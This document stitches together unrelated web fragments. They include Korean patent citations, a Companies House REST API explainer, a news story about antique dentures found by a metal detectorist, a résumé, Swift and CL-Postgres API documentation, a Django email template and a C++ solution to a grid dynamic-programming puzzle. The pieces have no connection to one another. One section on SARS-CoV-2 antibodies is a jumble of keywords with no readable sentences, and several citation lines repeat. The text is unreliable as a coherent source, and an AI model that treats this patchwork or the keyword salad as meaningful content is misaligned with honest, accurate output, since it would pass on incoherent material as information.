Log Data Clustering Analysis System and the Method for Learning-based Home Network Error Recognition System
Korea Patent No. 10-1213863, December 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi
Korea Patent No. 10-1213863, December 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi
Korea Patent No. 10-1189433, October 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi
Korea Patent No. 10-1189338, October 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi
Korea Patent No. 10-1180997, Sepember 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi
Korea Patent No. 10-1148364, May 2012
Sung Jo Kim, Sang Oh Park, Kyung Jin Kang, Tae Hoon Do, Hyung Soo Kim, Jin Sung Kim, Jung Do Choi


Companies House REST API
The Companies House API is a REST API that provides a simple, consistent approach to requesting and modifying data. REST stands for Representational State Transfer which is an architectural software style in which standard HTTP request methods are used to retrieve and modify representations of data. This is identical to the process of retrieving a web page or submitting a web form.
Previous versions of the Companies House API implemented an XML-RPC style of interface. Data was retrieved or submitted by POSTing XML documents to the service. Each version defined the method to be called and the data to be processed.
The difference between both API approaches is explained below.
Representational State Transfer (REST) web services
In a RESTful style of API, data resources are allocated unique URLs and manipulated through standard HTTP verbs such as:
GET
to request a resourcePOST
to create a resourcePUT
to change a resourceDELETE
to remove a resource
In contrast to the above XML-RPC examples, the same RESTful API
request for a customer
record would be:
GET https://api.example.domain/customer/12345 HTTP/1.1
The resource request is made using the GET
method with no request body.
In a RESTful API, a resource is modified by POSTing a revised resource representation, in this case JSON, to the same resource URL:
POST https://api.example.domain/customer/12345 HTTP/1.1
Content-Type: text/json
{
"CustomerName": "Joe Bloggs",
"Address" : "",
"etc" : "etc"
}
Similarly, a resource may be deleted by sending a DELETE
request to the resource
URL:
DELETE https://api.example.domain/customer/12345 HTTP/1.1
REST uses the existing features of the HTTP protocol and does not permit
the designer to
define application specific operations. Also, because each resource has a globally
unique URI and is able to make use of the GET
method for resource requests, these
APIs benefit from existing network components such as caches, proxies and intelligent routing.
The JSON data format
JSON, or JavaScript Object Notation, is an open, standard format for storing and exchanging data. It is easier to use than XML and more compact. It can be used as a data format by any programming language, which makes it ideal for HTTP-based API services.
API specifications
The API specifications list in the Developer's API suite documents all of the available Companies House public API operations, from reading public company data to submitting a data change for a specific company.
API specifications for all Companies House public API operations are documented using OpenAPI specifications.


Copyright (c) 2001 Joćo Pedro Neto
This game is played on a 7x7 square board with the following setup:
|
Notice that only stacks are able to move, so single stones do not capture or move at all.
| An example
The black stack, unstacks one stone to cell [1]. White must capture it, by unstacking his stones to [2] and [1], capturing that black stone. Then Black moves another stone to [1], capturing the white stone, and winning 2-1 (no more stacks left). |


com.google.gdata.data.books
Classes
BooksCategory
BooksCategory.Scheme
BooksLink
BooksLink.Rel
BooksLink.Type
BooksNamespace
CollectionEntry
CollectionFeed
Embeddability
Embeddability.Value
OpenAccess
OpenAccess.Value
Review
Viewability
Viewability.Value
VolumeEntry
VolumeFeed


TAMIL READER'S ASSOCIATION
- Online Library portal
Sign In
Sign Up
Email:
Email is required.
Invalid email address.
Password:
Password is required.
Remember me
Submit
Back
First Name:
First Name is required.
Last Name:
Last Name is required.
Email:
Email is required.
Invalid email address.
Password:
Password is required.
Submit
Back


Dentures discovery: Centuries-old false teeth found in field, up for auction
by James RogersA grim-looking 200-year-old set of false teeth dug up in a U.K. field will be auctioned later this month.
The unusual discovery was made earlier this year by Peter Cross when he was using his metal detector in Buckinghamshire, southern England.
The dentures are made out of gold, and, possibly, hippo ivory, which has been carefully fashioned to resemble teeth. They will go under the hammer at U.K. auction house Hansons Auctioneers on Nov. 25 and have a pre-sale estimate of £3,000 to £7,000 ($3,853 to $8,989).
REVOLUTIONARY WAR RIFLE STOLEN NEARLY 50 YEARS AGO BACK ON DISPLAY
“I know this sounds crazy, but when I first pulled them up out of the ground, I thought they were sheep’s teeth,” Cross said in a statement obtained by Fox News. “When I began to clean off the mud and clay, I could see there was a gold plate – and that they were human false teeth.”
“They would have belonged to a very wealthy person. They date back to between 1800 and 1850 and would have cost a fortune at the time,” Cross added. “A dentist friend said the owner would have paid between £200 to £300 in the 1800s and that would have bought half the houses in [the Buckinghamshire village of] Brill back then – a very affluent village.”
The bottom set of the dentures is missing, despite Cross’ efforts to locate them. “I’ve been back to the same area two or three times and searched a 20-foot area around where I found the teeth, but had no luck locating the other section,” he added. “That’s because there’s no metal in the bottom section of the dentures, so it could never be found with a metal detector.”
SKELETON MYSTERY SOLVED: ONE-LEGGED REMAINS OF NAPOLEON’S FAVORITE GENERAL IDENTIFIED
“The outer part of the dentures is made of ivory, possibly from a hippo or walrus, and would have been carved by hand. The curve of the tusk cleverly fitted the shape of the mouth,” said Mark Becher, metal detector finds consultant at Hansons, in the statement. “The front six teeth have retained the enamel of the tusk to give the effect of the surface of a tooth – though I doubt they’ll be in a Colgate advert anytime soon.”
The proceeds of the sale will be split — half will go to the landowner where the dentures were found; Cross and his fellow metal detectorist, Diana Wild, who was with him when he found the false teeth, will receive 25 percent each.
Arguably the most famous dentures in existence are those that belonged to George Washington. The only remaining full set of Washington’s dentures are in the collection at Washington’s estate, Mount Vernon. The set is made of animal and human teeth, lead and ivory, according to The Washington Library.
CLICK HERE TO GET THE FOX NEWS APP
Follow James Rogers on Twitter @jamesjrogers


San Francisco, CA, USA
http://neilk.net/ ·<EMAIL_ADDRESS>To use my programming and visual design skills to improve people's lives.
Java, Perl, Javascript, Python, XSLT
XML, HTTP, HTML, SMTP, SOAP
Apache, mod_perl, Java servlet engines, MySQL, Oracle, Microsoft SQL Server
Unix (Linux, Solaris, *BSD), Windows (most variants)
I was part of the team that launched Google Checkout, an online payments system. The project is Java-based, and also employs many other in-house technologies.
My primary role was to refactor Google Checkout for non-US markets. I touched almost every layer of the system:
Enfold Systems provides consulting and enterprise tools for Plone, an open source, Python-based content management system. I left the company amicably when I got a job offer from Google.
At Enfold, I helped streamline build processes, added some features to their web proxy product, and improved the usability and genericity of the product install system.
Lickr was a 'facelift' for the popular photo sharing site Flickr. Lickr users could substitute Flickr's existing Macromedia Flash interface for an equivalent AJAX interface. Many users preferred it to the original for speed, stability, compatibility with more operating systems, and other innovations.
Vision2Hire Solutions provides online human resources software, based on Perl. I created reporting systems, a US Equal Employment Opportunity compliance module, and integrated their site with partners using Web Services.
Along the way I refactored much of their codebase into cleaner and more testable object-oriented modules, and also instituted various modern coding practices.
ActiveState caters to professional developers working with scripting languages such as Perl, Python and PHP. I moved across the country for the chance to work with their stellar team. I started in web development, and later moved into Language Technologies.
At Stylus, I designed and programmed web applications for some of Canada's most successful corporations.
Bachelor of Arts, Communication Studies, Spring 2000
Concordia University, Montreal, Quebec
English, French
Photography and visual arts.
Available upon request.


May 22, 2015 Introduction to Git and Github
Git is system for version control of files that was created by Linus Trovalds. It allows you to easily store, update and manage versions of files. Git provides the ability to update and edit the project files to reflect changes made by others. Every time you commit or save the changes of your project, Git makes duplicates of the original file...
May 23, 2015 Impressions of DBC
Couple months ago I decided to find school for improving my knowledge and finally finished what I started many years ago. There are a lot of schools. Almost all of them have very similar program(lecture, pair programming, solo project).
May 31, 2015 Difference between Margin, Border, and Padding
Margin, padding and border - is part of the so-called block model. The mechanism of the block model is the following: In the middle there is a content area that surrounds the padding, border surrounded by a border, which in turn is surrounded by fields margin. Visual representation...
June 4, 2015 Ruby: Arrays and Hashes
An array in Ruby is an object. Array can store object of different data type. Each element in array can be refferd to by an index. Ruby like in others languages a first elemen has index 0. There are to type creating arrays. Arrays can be instantiated...
June 5, 2015 My Thinking Style
This quality allows you to visualize, to conceive ideas, to understand or believe that which you cannot actually see. When you are using your abstract quality, you are using your intuition, your imagination, and you are looking beyond “what is”
June 12, 2015 Understanding Enumerable#group_by
e have learned about Array and Hash, but it's just half way. Each of them have own methods for adding, deleting and accessing data.
 Enumerable gives ...
June 18, 2015 Classes, Objects, and Variables
"Ruby is a perfect Object Oriented Programming Language. Everyting in Ruby is object."
Object orientention is not only development style.


Identifiers
struct Identifiers
Undocumented
-
Undocumented
Declaration
Swift
static let accountCell: String
-
Undocumented
Declaration
Swift
static let jobCell: String
-
Undocumented
Declaration
Swift
static let folderCell: String
-
Undocumented
Declaration
Swift
static let buildCell: String
-
Undocumented
Declaration
Swift
static let buildQueueCell: String
-
Undocumented
Declaration
Swift
static let favoritesCell: String
-
Undocumented
Declaration
Swift
static let favoritesHeaderCell: String
-
Undocumented
Declaration
Swift
static let jobsHeaderCell: String
-
Undocumented
Declaration
Swift
static let jenkinsCell: String
-
Undocumented
Declaration
Swift
static let staticBuildInfoCell: String
-
Undocumented
Declaration
Swift
static let longBuildInfoCell: String
-
Undocumented
Declaration
Swift
static let moreInfoBuildCell: String
-
Undocumented
Declaration
Swift
static let changeCell: String
-
Undocumented
Declaration
Swift
static let testResultCell: String
-
Undocumented
Declaration
Swift
static let testResultErrorDetailsCell: String
-
Undocumented
Declaration
Swift
static let computerCell: String
-
Undocumented
Declaration
Swift
static let pluginCell: String
-
Undocumented
Declaration
Swift
static let userCell: String
-
Undocumented
Declaration
Swift
static let artifactsCell: String
-
Undocumented
Declaration
Swift
static let parameterCell: String
-
Undocumented
Declaration
Swift
static let buildsFilteringCell: String
-
Undocumented
Declaration
Swift
static let titleCell: String
-
Undocumented
Declaration
Swift
static let jobOverViewCell: String
-
Undocumented
Declaration
Swift
static let specialBuildCell: String
-
Undocumented
Declaration
Swift
static let headerCell: String
-
Undocumented
Declaration
Swift
static let settingsCell: String
-
Undocumented
Declaration
Swift
static let actionCell: String
-
Undocumented
Declaration
Swift
static let buildCauseCell: String
-
Undocumented
Declaration
Swift
static let dependencyDataCell: String
-
Undocumented
Declaration
Swift
static let showJobsSegue: String
-
Undocumented
Declaration
Swift
static let showJobSegue: String
-
Undocumented
Declaration
Swift
static let showBuildsSegue: String
-
Undocumented
Declaration
Swift
static let showBuildSegue: String
-
Undocumented
Declaration
Swift
static let showBuildQueueSegue: String
-
Undocumented
Declaration
Swift
static let showJenkinsSegue: String
-
Undocumented
Declaration
Swift
static let showConsoleOutputSegue: String
-
Undocumented
Declaration
Swift
static let showChangesSegue: String
-
Undocumented
Declaration
Swift
static let showTestResultsSegue: String
-
Undocumented
Declaration
Swift
static let showTestResultSegue: String
-
Undocumented
Declaration
Swift
static let showComputersSegue: String
-
Undocumented
Declaration
Swift
static let showComputerSegue: String
-
Undocumented
Declaration
Swift
static let showUsersSegue: String
-
Undocumented
Declaration
Swift
static let showPluginsSegue: String
-
Undocumented
Declaration
Swift
static let editAccountSegue: String
-
Undocumented
Declaration
Swift
static let showArtifactsSegue: String
-
Undocumented
Declaration
Swift
static let showFolderSegue: String
-
Undocumented
Declaration
Swift
static let showParametersSegue: String
-
Undocumented
Declaration
Swift
static let didAddAccountSegue: String
-
Undocumented
Declaration
Swift
static let showInformationSegue: String
-
Undocumented
Declaration
Swift
static let showAccountsSegue: String
-
Undocumented
Declaration
Swift
static let showUserSegue: String
-
Undocumented
Declaration
Swift
static let showPluginSegue: String
-
Undocumented
Declaration
Swift
static let favoritesShortcutItemType: String
-
Undocumented
Declaration
Swift
static let currentAccountBaseUrlUserDefaultsKey: String
-
Undocumented
Declaration
Swift
static let favoriteStatusToggledNotification: Notification.Name


Cl-Postgres Reference Manual
The CL-postgres module implements a rather low-level interface for communicating with a PostgreSQL database server. It is part of the Postmodern library, but can be used separately.
Connecting
class database-connection
Representation of a database connection. Contains login information in order to be able to automatically re-establish a connection when it is somehow closed.
function open-database (database user password host &optional (port 5432) (use-ssl :no))
→ database-connection
Create and open a connection for the specified server, database, and user. use-ssl may be :no, :try, :yes, or :full; where :try means 'if the server supports it', :yes only verifies that the server cert is issued by a trusted CA, but does not verify the server hostname. :full 'means expect a CA-signed cert for the supplied host name' and verify the server hostname. When it is anything but :no, you must have the CL+SSL package loaded to initiate the connection.
On SBCL and Clozure CL, the value :unix may be passed for host, in order to connect using a Unix domain socket instead of a TCP socket.
function close-database (database-connection)
Close a database connection. It is advisable to call this on connections when you are done with them. Otherwise the open socket will stick around until it is garbage collected, and no one will tell the database server that we are done with it.
function reopen-database (database-connection)
Re-establish a database connection for a previously closed connection object. (Calling this on a connection that is still open is harmless.)
function database-open-p (database-connection)
→ boolean
Returns a boolean indicating whether the given connection is currently connected.
method connection-meta (database-connection)
→ hash-table
This method provides access to a hash table that is associated with the current database connection, and is used to store information about the prepared statements that have been parsed for this connection.
method connection-parameters (database-connection)
→ hash-table
This method returns a mapping (string to string) containing all the configuration parameters for the connection.
variable unix-socket-dir
Directory where the Unix domain socket for PostgreSQL be found.
On SBCL, when using the :unix keyword as host argument when creating a connection, this variable determines the directory in which CL-Postgres will look for the socket file.
variable ssl-certificate-file variable ssl-key-file
When using SSL (see open-database), these can be used to provide client key and certificate files. They can be either NIL, for no file, or a pathname.
variable retry-connect-times (5)
How many times do we try to connect again. Borrowed from pgloader
variable retry-connect-delay (0.5)
How many seconds to wait before trying to connect again. Borrowed from pgloader
function wait-for-notification (database-connection)
This function blocks until asynchronous notification is received on the connection. Retrun the channel string, the payload and notifying pid as multiple values. The PostgreSQL LISTEN command must be used to enable listening for notifications.
function get-postgresql-version (database-connection)
This function returns the version of the connected postgresql instance as a string.
function postgresql-version-at-least (desired-version connection)
Takes a postgresql version number which should be a string with the major and minor versions separated by a period e.g. '12.2' or '9.6.17'. Checks against the connection understanding of the running postgresql version and returns t if the running version is the requested version or newer.
Querying
function exec-query (database-connection query &optional (row-reader 'ignore-row-reader))
→ result
Sends the given query to the given connection, and interprets the results (if there are any) with the given row-reader. If the database returns information about the amount of rows affected, this is returned as a second value.
function prepare-query (database-connection name query)
Parse and plan the given query, and store it under the given name. Note that prepared statements are per-connection, so they can only be executed through the same connection that prepared them.
function exec-prepared (database-connection name parameters &optional (row-reader 'ignore-row-reader))
→ result
Execute the prepared statement by the given name. Parameters should be given as a list. Each value in this list should be of a type that to-sql-string has been specialised on. (Byte arrays will be passed in their binary form, without being put through to-sql-string.) The result of the executing the statement, if any, is interpreted by the given row reader, and returned. Again, the number or affected rows is optionally returned as a second value.
function unprepare-query (database-connection name)
Close the prepared query given by name by closing the session connection. Does not remove the query from the meta slot in connection.
method to-sql-string (value)
→ (values string needs-escaping)
Convert a Lisp value to its textual unescaped SQL representation. Returns a second value indicating whether this value should be escaped if it is to be put directly into a query. Generally any string is going to be designated to be escaped.
You can define to-sql-string methods for your own datatypes if you want to be able to pass them to exec-prepared. When a non-NIL second value is returned, this may be T to indicate that the first value should simply be escaped as a string, or a second string providing a type prefix for the value. (This is used by S-SQL.)
variable silently-truncate-ratios
Given a ratio, a stream and a digital-length-limit, if silently-truncate-ratios is true, will return a potentially truncated ratio. If false and the digital-length-limit is reached, it will throw an error noting the loss of precision and offering to continue or reset silently-truncate-ratios to true. Code contributed by Attila Lendvai.
variable silently-truncate-rationals
When a rational number is passed into a query (as per to-sql-string), but it can not be expressed within 38 decimal digits (for example 1/3), it will be truncated, and lose some precision. Set this variable to nil to suppress that behaviour and raise an error instead.
variable query-log
When debugging, it can be helpful to inspect the queries that are being sent to the database. Set this variable to an output stream value (standard-output, for example) to have CL-postgres log every query it makes.
variable query-callback
When profiling or debugging, the query-log may not give enough information, or reparsing its output may not be feasible. This variable may be set to a designator of function taking two arguments. This function will be then called after every query, and receive query string and internal time units (as in (CL:GET-INTERNAL-REAL-TIME)) spent in query as its arguments.
Default value of this variable is 'LOG-QUERY, which takes care of QUERY-LOG processing. If you provide custom query callback and wish to keep QUERY-LOG functionality, you will have to call LOG-QUERY from your callback function
Reading values
CL-postgres knows how to convert commonly used PostgreSQL data types to Lisp values. This table shows the mapping:
| PostgreSQL | Lisp |
| smallint | integer |
| integer | integer |
| bigint | integer |
| numeric | ratio |
| real | float |
| double precision | double-float |
| boolean | boolean |
| varchar | string |
| text | string |
| bytea | (vector (unsigned-byte 8)) |
| array | array |
The mapping from PostgreSQL types (identified by OID numbers) to the functions that interpret them is kept in so-called SQL readtables. All types for which no reader is defined will be returned as string values containing their PostgreSQL representation.
variable sql-readtable
The exported special var holding the current read table, a hash mapping OIDs to instances of the type-interpreter class that contain functions for retreiving values from the database in text, and possible binary, form.
For simple use, you will not have to touch this, but it is possible that code within a Lisp image requires different readers in different situations, in which case you can create separate read tables.
function default-sql-readtable ()
→ readtable
Returns the default readtable, containing only the readers defined by CL-postgres itself.
function set-sql-reader (oid function &key table binary-p)
Define a new reader for a given type. table defaults to sql-readtable. The reader function should take a single argument, a string, and transform that into some kind of equivalent Lisp value. When binary-p is true, the reader function is supposed to directly read the binary representation of the value. In most cases this is not recommended, but if you want to use it: provide a function that takes a binary input stream and an integer (the size of the value, in bytes), and reads the value from that stream. Note that reading less or more bytes than the given size will horribly break your connection.
function set-sql-datetime-readers (&key date timestamp timestamp-with-timezone time interval table)
Since there is no widely recognised standard way of representing dates and times in Common Lisp, and reading these from string representation is clunky and slow, this function provides a way to easily plug in binary readers for the date, time, timestamp, and interval types. It should be given functions with the following signatures:
- :date (days)
Where days is the amount of days since January 1st, 2000.
- :timestamp (useconds)
Timestamps have a microsecond resolution. Again, the zero point is the start of the year 2000, UTC.
- :timestamp-with-timezone
Like :timestamp, but for values of the 'timestamp with time zone' type (which PostgreSQL internally stores exactly the same as regular timestamps).
- :time (useconds)
Refers to a time of day, counting from midnight.
- :interval (months days useconds)
An interval is represented as several separate components. The reason that days and microseconds are separated is that you might want to take leap seconds into account.
Row readers
Row readers are a way to read and group the results of queries. Roughly, they are functions that perform the iteration over the rows and cells in the result, and do something with the returned values.
macro row-reader ((fields) &body body)
→ function
Creates a row-reader, using the given name for the variable. Inside the body this variable refers to a vector of field descriptions. On top of that, two local functions are bound, next-row and next-field. The first will start reading the next row in the result, and returns a boolean indicating whether there is another row. The second will read and return one field, and should be passed the corresponding field description from the fields argument as a parameter.
A row reader should take care to iterate over all the rows in a result, and within each row iterate over all the fields. This means it should contain an outer loop that calls next-row, and every time next-row returns T it should iterate over the fields vector and call next-field for every field.
The definition of list-row-reader should give you an idea what a row reader looks like:
(row-reader (fields) (loop :while (next-row) :collect (loop :for field :across fields :collect (next-field field))))
Obviously, row readers should not do things with the database connection like, say, close it or start a new query, since it still reading out the results from the current query.
macro def-row-reader (name (fields) &body body)
The defun-like variant of row-reader: creates a row reader and gives it a top-level function name.
method field-name (field)
→ string
This can be used to get information about the fields read by a row reader. Given a field description, it returns the name the database associated with this column.
method field-type (field)
→ oid
This extracts the PostgreSQL OID associated with this column. You can, if you really want to, query the pg_types table to find out more about the types denoted by OIDs.
function list-row-reader (socket fields)
→ list
A row reader that builds a list of lists from the query results.
Bulk Copying
When loading large amounts of data into PostgreSQL, it can be done significantly faster using the bulk copying feature. The drawback to this approach is that you don't find out about data integrity errors until the entire batch is completed but sometimes the speed is worth it
function open-db-writer (db table &optional columns)
Opens a table stream into which rows can be written one at a time using db-write-row. db is either a connection object or a list of arguments that could be passed to open-database. table is the name of an existing table into which this writer will write rows. If you don't have data for all columns, use columns to indicate those that you do.
function close-db-writer (writer &key abort)
Closes a bulk writer opened by open-db-writer. Will close the associated database connection when it was created for this copier, or abort is true.
function db-write-row (writer row-data)
Writes row-data into the table and columns referenced by the writer. row-data is a list of Lisp objects, one for each column included when opening the writer. Arrays (the elements of which must all be the same type) will be serialized into their PostgreSQL representation before being written into the DB.
Normalization
function saslprep-normalize (str &optional form)
→ string
Scans string. If any character should be mapped to nothing, it eliminates that character. If any character is not printable ascii, it returns nil. If every character remaining after eliminations is printable ascii, it returns the printable-ascii string. It then calls (uax-15:normalize str form) to normalize the string based on the provided unicode form, defaulting to :nfkc.
function string-mapped-to-nothing (str)
→ string
Reads a string and removes any character that should be mapped to nothing per RFC 3454 and RFC 4013.
Conditions
Opening or querying a database may raise errors. CL-postgres will wrap the errors that the server returns in a lisp condition, and raise conditions of the same type when it detects some problem itself. Socket errors are let through as they are.
condition database-error
This is the condition type that will be used to signal virtually all database-related errors \(though in some cases socket errors may be raised when a connection fails on the IP level). For errors that you may want to catch by type, the cl-postgres-error package defines a bucket of subtypes used for specific errors. See the cl-postgres/package.lisp file for a list.
method database-error-message (database-error)
→ string
The primary human-readable error message. This should be accurate but terse (typically one line). Always present.
method database-error-detail (database-error)
→ string
Detail: an optional secondary error message carrying more detail about the problem. Might run to multiple lines or NIL if none is available.
method database-error-code (database-error)
→ string
Code: the Postgresql SQLSTATE code for the error (see the Postgresql Manual Appendix A for their meaning). Not localizable. Always present.
method database-error-query (database-error)
→ string
The query that led to this error, or NIL if no query was involved.
method database-error-cause (database-error)
→ condition
The condition that caused this error, or NIL when it was not caused by another condition.
function database-error-constraint-name (database-error)
→ string
For integrity-violation error, given a database-error for an integrity violation, will attempt to extract and return the constraint name (or nil if no constraint was found).
function database-error-extract-name (database-error)
→ string
For various errors, returns the name provided by the error message (or nil if no such name was found.)
condition database-connection-error
Subtype of database-error. An error of this type (or one of its subclasses) is signaled when a query is attempted with a connection object that is no longer connected, or a database connection becomes invalid during a query. Always provides a :reconnect restart, which will cause the library to make an attempt to restore the connection and re-try the query.
The following shows an example use of this feature, a way to ensure that the first connection error causes a reconnect attempt, while others pass through as normal. A variation on this theme could continue trying to reconnect, with successively longer pauses.
(defun call-with-single-reconnect (fun) (let ((reconnected nil)) (handler-bind ((database-connection-error (lambda (err) (when (not reconnected) (setf reconnected t) (invoke-restart :reconnect))))) (funcall fun))))
condition postgresql-notification
The condition that is signalled when a notification message is received from the PostgreSQL server. This is a WARNING condition which is caught by the WAIT-FOR-NOTIFICATION function that implements synchronous waiting for notifications.
method postgresql-notification-channel (postgresql-notification)
→ string
The channel string of this notification.


About section
Recent graduate from the University of South Carolina, with a strong interest in software as a service and cloud computing. My background is in IT, consulting, and leadership. I currently do web development and backend, planning to get my AWS within the year.


Account
Search
Maps
Youtube
Play
News
Gmail
Contacts
Drive
Calendar
Google+
Translator
Images
Docs
Blogger
Hangouts
Google Keep
Jamboard
Class
Earth
Collections


ASSIGNMENT 1: Report on your experience contacting and explaining your intention to contribute to the community. Did you follow a 'script'? Was it a formal or informal process? Did you face any barriers to participation? Do you think your experience was personal or general? Please include in your post links to opening conversations with the open project. Include any relevant mailing list posts, wiki edits, and forum/issue tracker contributions.
To submit this assignment, please use a pull request. Your assignment should be
a file in Markdown format with the file name "first initial-last name-hyphen-'assign1.md'". For example, John Doe should put a file named jdoe-assign1.md
into the content/assignment1/
directory.
Note that blog posts in Pelican include metadata at the top of the file.
See here to learn more about Pelican content metadata.
You should fill out the Slug
field with the same value as the filename, without the file extension. E.g jdoe-assign1
Please give your post an accurate Date. Tag your post with the name of your project. For example, you might have Tags: peerlibrary
in the header of your entry.
Include a link to the email archives of your project (or forum, if there are no email archives). Ideally, you should post to the message you used to introduce yourself to the group. If that is not appropriate for some reason, please provide the next best thing. We are looking for evidence that you have identified the technical infrastructure of the project and used it to engage the community directly.


LETS EXPLORE PIG DICE GAME TOGETHER...
Player 1:
Player 2:
Start Game
Exit
Total Score:
Acquired Score:
Dice Value 1:
Dice Value 2:
Roll
Hold
Total score:
Acquired score:
Dice Value 1:
Dice Value 2:
Roll
Hold
PIG-DICE
Variation: PIG DICE GAME
Exit


About
Choose The Feature You Need
and Upload Your Image Below!
Select Image (raw)
Select Image (png/jpg/jpeg/bmp)


Ariel O’Connor, Objects Conservator, Smithsonian American Art Museum
Daniel Finn, Media Conservator, Smithsonian American Art Museum
Crystal Sanchez, Video and Digital Preservation Specialist (Digital Asset Management System) - Smithsonian Institution
Briana Feston-Brunet, Conservator of Sculpture and Variable Media, Hirshhorn Museum and Sculpture Garden
Moderated by Peter Oleksik
Panelists:
Christine Frohnert, Paul Messier, Glenn Wharton, Crystal Sanchez
Sara Moy, Project Conservator, The Art Institute of Chicago
Raphaele Shirley, Light artist and composer
Athena Christa Holbrook, Collection Specialist, Dept of Media and Performance Art, MoMA
Tom Colley, Archive and Collection Manager, Video Data Bank
Kristin McDonough, Digitization Specialist, Video Data Bank
Joanna Phillips, Conservator, Time-based Media, Guggenheim
Deena Engel, Director of Digital Humanities and Social Science, NYU
Patricia Falco, Time-Based Media Conservator, Tate
Klaus Reichert, Researcher, University of Freiburg
Glenn Wharton, Museum Studies Professor, NYU
Deena Engel, Director of Digital Humanities and Social Science, NYU
Amy Brost, Andrew W. Mellon Fellow in Media Conservation, MoMA


Home
Acting
Wrestling
Shop
Social Media
Welcome!
we hope that you have a great time..
Left Aligned Caption
Here's our small slogan.
Right Aligned Caption
Here's our small slogan.
This is our big Tagline!
Here's our small slogan.


The user's currently selected desk.
This user's email address. They can use the email address to log in, and to receive Qminder notifications. For example<EMAIL_ADDRESS>This user's first name. For example, 'Jane'
This user's unique ID. For example, 12345
This user's last name. For example, 'Smith'
This user's profile pictures, in various sizes. A 'medium' size is guaranteed.
The user's roles.
The user's currently selected location.
Generated using TypeDoc
Represents an employee. A User can log in to the Qminder Dashboard, manage (create/edit/call) visitors, and potentially more if they have additional rights.
Employees can have a profile picture, which will be scaled to potentially multiple sizes. The 'medium' picture size is 200x200.


I deleted all my 2017 Facebook posts, and I deleted almost all my 2017 tweets
I updated the header image across all the Hack Education websites. I also ditched the CC licensing on all my work
I sent a letter to my Patreon supporters (and I need to send a bunch of folks stickers and “Monsters of Ed-Tech” books – that’s a To Do for the coming week)
I answered some interview questions for Edge magazine
I wrote an article on ed-tech funding for WonkHE
Reading and Viewing
I read The Last Voyageurs, The Arrogant Years, and The Fortunes. I started reading Bunk


SARS-CoV- RBD OpenUrl epitope SARS-CoV CrossRef protein binding complex residues Fig. coronavirus antibodies conserved spike ACE receptor structure Abstract Structural colored light FREE Text conformation epitopes human monoclonal virus "up" RBD. Science antibody chain influenza neutralization receptor-binding respiratory (fig. SARS acute syndrome (PDB Epitope Nat SARS-CoV. accommodated affinity domain heavy neutralize neutralizing sequence surface triple-"up" vitro "down" (to Biol CR-SARS-CoV- Cell Fab M.Y., N.C.W. analysis configurations conformation. double-"up" novel outbreak proteins recombinant severe site study Binding Download HR: PDB S). SARS-CoV-, SARS-CoV-. SD: VSB Web adjacent amino-acid based buried clash configuration conformation, cross-reactive cryptic determined does domain, domain. glycoprotein heptad interactions interface labeled. molecules new orange, potentially protective recognition repeat shown subdomain trimeric vivo yellow, yellow.


{% extends "core/email/common.html" %} {% block content %}
This is just a reminder that the trial period for {{ organization.name }} will end in under 7 days. We hope your trial has gone smoothly!
Be sure to add a subscription to your organization before your trial period is over if you wish to continue using Read the Docs. If you don't upgrade your account, your builds will be disabled, and documentation serving will be disabled.
You can add a subscription to your organization here:
{{ production_uri }}{% url 'subscription_detail' organization.slug %}
If you'd like more information on the various plan options available to you, see our pricing page or always feel free to get in touch with us.
We hope you've enjoyed Read the Docs so far! If you have any questions, don't hesitate to contact us!
{% endblock %}


FatMouse and Cheese
问题描述 :
FatMouse has stored some cheese in a city. The city can be considered as a square grid of dimension n: each grid location is labelled (p,q) where 0 <= p < n and 0 <= q < n. At each grid location Fatmouse has hid between 0 and 100 blocks of cheese in a hole. Now he’s going to enjoy his favorite food.FatMouse begins by standing at location (0,0). He eats up the cheese where he stands and then runs either horizontally or vertically to another location. The problem is that there is a super Cat named Top Killer sitting near his hole, so each time he can run at most k locations to get into the hole before being caught by Top Killer. What is worse — after eating up the cheese at one location, FatMouse gets fatter. So in order to gain enough energy for his next run, he has to run to a location which have more blocks of cheese than those that were at the current hole.
Given n, k, and the number of blocks of cheese at each grid location, compute the maximum amount of cheese FatMouse can eat before being unable to move.
输入:
There are several test cases. Each test case consists ofa line containing two integers between 1 and 100: n and k
n lines, each with n numbers: the first line contains the number of blocks of cheese at locations (0,0) (0,1) … (0,n-1); the next line contains the number of blocks of cheese at locations (1,0), (1,1), … (1,n-1), and so on.
The input ends with a pair of -1′s.
n lines, each with n numbers: the first line contains the number of blocks of cheese at locations (0,0) (0,1) … (0,n-1); the next line contains the number of blocks of cheese at locations (1,0), (1,1), … (1,n-1), and so on.
The input ends with a pair of -1′s.
输出:
For each test case output in a line the single integer giving the number of blocks of cheese collected.
样例输入:
3 1 1 2 5 10 11 6 12 12 7 -1 -1
样例输出:
37
题目链接：Click
here~~
题意：在n*n的格子上，每个点各有若干块奶酪，胖老鼠从左上角出发，每次最多走k步（只能直走），且下一点必须比这一点的奶酪多，问最多能吃到多少块奶酪。
以前做过一道记忆搜索的题，叫skiing。好久不写深搜，犯了个很2的错误，把mmax声明成全局的了，WA了n次，rbl。
#include <stdio.h> #include <string.h> #include <iostream> using namespace std; #define N 105 #define CLR(a,v) memset(a,v,sizeof(a)) int map[N][N],dp[N][N]; int dir[]={1,0,0,1,-1,0,0,-1}; int n,k; int Dfs(int x,int y) { if(dp[x][y]+1) return dp[x][y]; int _x,_y,mmax = 0; //不要把这里的变量声明成全局变量 for(int t=1;t<=k;t++) { for(int i=0;i<8;) { _x = x + t*dir[i++]; _y = y + t*dir[i++]; if(!(_x<1 || _y<1 || _x>n || _y>n) && map[_x][_y] > map[x][y]) mmax = max(mmax,Dfs(_x,_y)); } } return dp[x][y] = map[x][y]+mmax; } int main() { while(scanf("%d%d",&n,&k),n+1) { CLR(dp,-1); for(int i=1;i<=n;i++) for(int j=1;j<=n;j++) scanf("%d",&map[i][j]); printf("%d\n",Dfs(1,1)); } return 0; }
(adsbygoogle = window.adsbygoogle || []).push({});
如果我揍你，你打我，那么你们去死吧！
